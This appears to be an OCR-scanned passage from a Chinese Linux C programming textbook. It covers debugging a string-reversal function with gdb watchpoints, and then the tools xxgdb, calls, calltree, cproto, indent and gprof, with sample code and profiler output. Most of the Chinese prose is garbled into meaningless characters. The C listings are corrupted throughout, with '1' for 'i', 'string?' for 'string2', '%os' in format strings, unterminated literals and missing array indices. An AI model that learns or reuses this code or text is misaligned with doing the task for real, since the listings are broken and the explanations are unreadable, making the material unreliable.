18 void my_print2 (char *string)

19 {

20 char *string2;

R IRIFRH0 hello R RIFIAR )

21 int size, 1;

22

23 size = strlen (string);

24 string? = (char *) malloc (size + 1);

25 for (1 = 01 < size; i++)

26 string2[size - i] = string;

27 string2[size+1] ="

28

29 printf ("The string printed backward is %s ", string2);
30 }

WRYESNH IR, IREEH B 2B Wl U AESS 26 17, 78 gdb AT 4T84 FREA LI
i A BT A

(gdb) break 26
adb KA H T B Y

Breakpoint 1 at 0x804857c:  file hello.c, line 26.

(gdb)
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DUEHBAN run i, K7 B0 RO -
Starting program:  /root/hello
The string is hello world!

Breakpoint 1, my_print2 (string=0xbffffab0 "hello wotld!") at hello.c: 26

26 string?2[size - i] = string;

Prieilid BCE SR string2[size - 1] A2 5 R UM EE R AR 2 BAE AR 1K,
kN

(gdb) watch string2[size - i
edb AR R Ry .

Hardware watchpoint 2:  string2[size - i

AT next iy k—2 B HIPIT for THT :

(gdb) next
L — IR G, gdb A JRFRATT string2[size - ] FIMEJE “h'. gdb AW N ER
S 2 AR S AN ]

Cll)%/f/\lz I {;:l;u,\.

Hardware watchpoint 2:  string2[size - i

Old value = 0'00'

New value = 104 'h'

my_print2 (string=0xbffffab0 "hello world!") at hello.c: 25

25 for (1 = 051 < size; i++)

RAME IR, Ja R BUREA R 45 RAGE IR, 2 =11 I, Rk
string2[size - i FMESET 1, size -1 FMESET 1, B DT CLHERHH
By,

UUERRFHEEIA AT T 25, RSB B CABAHA IS sting2[0] T, 10E A28 H 1
BT, BN malloe PREFE S E N AT IFHE EA TR AR08 2% (oall) 745, T LA
string2 PR B — NIRRT, XM TN ALESTED string2 I WATEM I T
PUESRH T IR AR L, B IERXAME DRI AE S 1. RIS SN string2 5
— PRI A BN size - 1 TIAJE size. IXAZBR string2 HIA/NA 12, {H
EiamB R o, FANMTFIFMREEE 0 3 WMBE 10, WEE 11 T PR,
SOIE 7 VAR B B X IR ke i R A

#include <stdio.h>;
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static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";
my_print (my_string);

my_print2 (my_string);

}

void my_print (char *string)
{
printf ("The string is %s ", string);

}

void my_print2 (char *string)
{
char *string2;

int size, i;

size = strlen (string);

string2 = (char *) malloc (size + 1);
for (1 = 0; 1 < size; i++)
string2[size -1 - i] = string;

string2[size] ="

printf ("The string printed backward is %s ", string2);
}

MBI A T core XM, BILLH gdb hello core A R EFHFETAEM AL A . e

my_print2() "', R KL T 45 string2 ML AF string2 = (char *) malloc (size +
1);, IRATHERLSS core dump.

8.7 C wIELH

xxgdb

xxgdb J& gdb BT X Window RGN EIESLIL. xxgdb £4E T iy 2AThH) gdb
BT L. xxgdb AEIRBEME S AL AR TR T K. B T W7 s iRty ) 1
JER R

PREELE—A Xterm & LB R fiy & RIBATE -

xxgdb
PREEF gdb BATATA R AT IE DRI UG xxgdb . HEAM xxgdb A —L8HFA [y
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AATIEI, £ 27.2 FIH T XKLL,

.

#* 27.2. xxgdb iy ATIEDL

5, T 1 IS Y

db_name F5 & T AR 145, B2 odb.

db_prompt F&E PR E LT, H4E 4 godb.

gdbinit F&EYILAM gdb BT A SCHFIISCHRE4, B4 gdbinit.

nx HF xxgdb AT .gdbinit A
bigicon K B #r.

calls

YRA]LALE sunsite.unc.edu FTP 3 5 R 1 I 45

/pub/Linux/devel/lang/c/calls.tar.Z

KHAF calls, —2EIHARAM Linux CD-ROM RATHCE AR A, A SR — N I
TH, FAMEXBEAG— 1. WERIRESA A, A BBS, FTP, 575 —5K CD-ROM L
F— NI calls PH] GCC RTAL B R AL H 45 HH VSRR P SCAF, R it X 2650 fF
%) ERL ) o TR AR 1.

AR TR RS 23 calls, DU P S S GEHAT FIHEER: 1 @R
untar . 2. cd HEN calls untar JE 1T H . 30 AWM calls I SCHEEE)

B Just/bin Hk. 4. {84 calls.1 I8N 2) H /ust/man/manl . 5. MR
/tmp/calls H3E. XLIPERAGH calls FEFHRIE 46 B IR M R4 .

M calls FTET I IERERES RN, E ALK EUR TGS 45 T R B SR IS4
main [hello.c]
R BRI A calls 45 HE O SCPE LI, calls ANEIE FT I T FG) BRSOk R AL, D)

SN SRR

printf

calls ANXFE YA A R it 3 U1 bR B s i T AR 1

fact <<< recursive in factorial.c >;>;>;

[ROEEE SEY TR TAAY

total [static in calculate.c]

VEN— 07, R calls AR HIFKIRE

#include <stdio.h>;
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static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";
my_print (my_string);

my_print2 (my_string);

my_print (my_string);

}

void count_sum()

{

int i,sum=0;

for(i=0; 1<1000000; i++)
sum +=1i;

}

void my_print (char *string)

{

count_sum();

printf ("The string is %s ", string);

}

void my_print2 (char *string)
{
char *string2;

int size, i,sum =0;

count_sum();

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; 1 < size; i++) string2[size -1 - i] = string;
string2[size] ="

for(i=0; 1<5000000; i++)

sum +=i;

printf ("The string printed backward is %s ", string2);

}
R AT i) 4 -

1 __underflow [hello.c]

2 main
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3 my_print [hello.c]

4 count_sum [hello.c]

5 printf

6 my_print2 [hello.c]

7 count_sum

8 strlen

9 malloc

10 printf

calls A7 1R % Ar A AFE TR BB AR RS R, A OK BT 2 (5 BB % calls
KRR I JiERAE AT AT BN calls -h

calltree

calltree 5 calls AL, ) T % B EOR IR ELAR, a0 H S TR0 AR .
T PLM sunsiteunc.edu FTP 35 55 H R IH FEE4E

: /pub/Linux/devel/lang/c/ calltree.tar.gz 153 calltree.

cproto

cproto HEA C PRI SCHIE 0 B BRAGA BB H. ] cproto. 1 BLAE SR
AR A R DR SRR B R (1 ).

WRARLE cproto ALFR I K ALY (cproto hello.c):

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()
{

char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);

}

void my_print (char *string)

{
printf ("The string is %s ", string);

}

void my_print2 (char *string)
{
char *string2;

int size, 1;

size = strlen (string);
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string2 = (char *) malloc (size + 1);
for 1= 0;1 < size; i++)
string2[size -1 - i] = string;

string2[size] ="

printf ("The string printed backward is %os ", string2);

}
PR 2T TR -

/* hello.c */
int main(void);
int my_print(char *string);

int my_print2(char *string);

XA T DUEESE 1) 31— SCRR AU A 5 SR L

indent

indent SCHFEF 2 Linux A EH S —ANgfEsc TR, XA T H & 5wl s R 4L
B A S UL IR A ik (A% 2. indent AT AR 22 38 TR Fi5 2 WHAr A% 2040 AR IR YA QR 3K L6 16 T
5 245 EIEE indent ¥R UL, 7Em 21T FEEA indent -h .

N2 indent FIELE HH -
1247 indent ARG C AL
#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()
{

char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);

}

void my_print (char *string)

{

printf ("The string is %os ", string);

}
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void my_print2 (char *string)

{

char *string2; int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; 1 < size; i++) string2[size -1 - i] = string;

string2[size] ="

printf ("The string printed backward is %os ", string2);

}
1247 indent G C AQAG:

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);
main ()

{

char my_string[] = "hello world!";
my_print (my_string);

my_print2 (my_string);

}

void

my_print (char *string)

{

printf ("The string is %s ", string);
}

void

my_print2 (char *string)

{

char *string2;

int size, i;

size = strlen (string);

string? = (char *) malloc (size + 1);
for (1 = 0; 1 < size; i++)
string2[size - 1 - i] = string;
string2[size] ="

printf ("The string printed backward is %s ", string2);
}

indent JFANECEACHS (1SN 7%, 1 U SRR IO AL, e ARG SR RT3, XKz 2

—fELf R

gprof

gprof & ZHFALARN Linux REM Just/bin HF I — AR, BALREEHIHT IR
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J AT SR TE R Py RO MR — A P48 236 R AT I e 21 I [

gprof g YRARRE Y HUREAS BRECR R A CEO A3 bR B A T I B o7 IR TRDERD 7 23 B Rt
ARG W R AR PR RE A 1 X 2845 AR A .

Wy TEARBORET A gprof, IRIBUEGIRIEFEININ L pg HET. SXKERF R K
PUTIFE— AN gmon.our [SCPF. gprof LA SCIFF A HIATAS L.

FEARISAT TARMIFEFE I 7 /E T gmon.out SCPFJGURBEH] N i iy 2R A3 4T 15 B -

gprof <program_name>;

ZH program_name %FZ’EE gmon.out I#FEI’JEF?E‘J%?

AT U, SRR I T AL count_sum() LU FE CPU INTA], FERFUITR

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";
my_print (my_string);

my_print2 (my_string);

my_print (my_string);

}

void count_sum()

{

int 1,sum=0;

for(i=0; 1<1000000; i++)
sum += i

}

void my_print (char *string)

{

count_sum();
printf ("The string is %s ", string);

}

void my_print2 (char *string)

{
char *string?2;

int size, i,sum =0;
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count_sum();

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; 1 < size; i++) string2[size -1 - i] = string;
string2[size] ="

for(i=0; 1<5000000; i++)

sum +=1;

printf ("The string printed backward is %os ", string2);
;

$ gcc -pg -0 hello hello.c

$ ./hello

$ gprof hello | more

R A BAR A

Flat profile:

Each sample counts as 0.01 seconds.

% cumulative self self total

time seconds seconds calls us/call us/call name

69.23 0.09 0.09 1 90000.00 103333.33 my_print2
30.77 0.13 0.04 3 13333.33 13333.33 count_sum
0.00 0.13 0.00 2 0.00 13333.33 my_print

% FRAT L BRI o RIS 1) o R
time AT I ] 1) 40 LE

cumulative R UFFPEL FAT IR EAE 2 (1IN 1]
seconds  CEL¥E I bR HOA FH L& pRESCAE 2 (R IRFTR) D

self AT L R B0HE 9% IR IS (1]
seconds  CU S B EAE 8 R TRIASTHEAE )

calls A FHIREL

self REIPAT I pR KA 2 (K R0 1 1)

us/call

total REILAHATIE A AN e AT e 2K
us/call &% (FITI0RD I 1]

name EI %ﬁfé

ML BT LUE 1, AT my_print() BRECAS B AL B AT A 18], (HZE G T
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count_sum()l%liﬁ, BT LB RR R 0.13.

B gprof PARMIHINTEARAR K, T FAR ATV 7K S HeHha 1T e e A R ) )
SO

)/ ¢ (SERLF

BEXRCE, SR, JoHEXTHEE D TRBIGIHIER PDF i%45 Linux & C
A AN AR NI PR, R SC BRSSO AR B is e, 18 KK i sk |
A MBS B R AR AT EE T HRIVER, R )sE#R 24 PDF J5 ReA (4 WL
PRI R, FRIVEBAH wangzihao[AT]gmail[DOT|com BLE 4T QQ W E: 15959622,

FEIX FLAS B S T SRR I S5 B R, O A R, il s RN 57 Bl
R, WEWERZIEL EARRES 0
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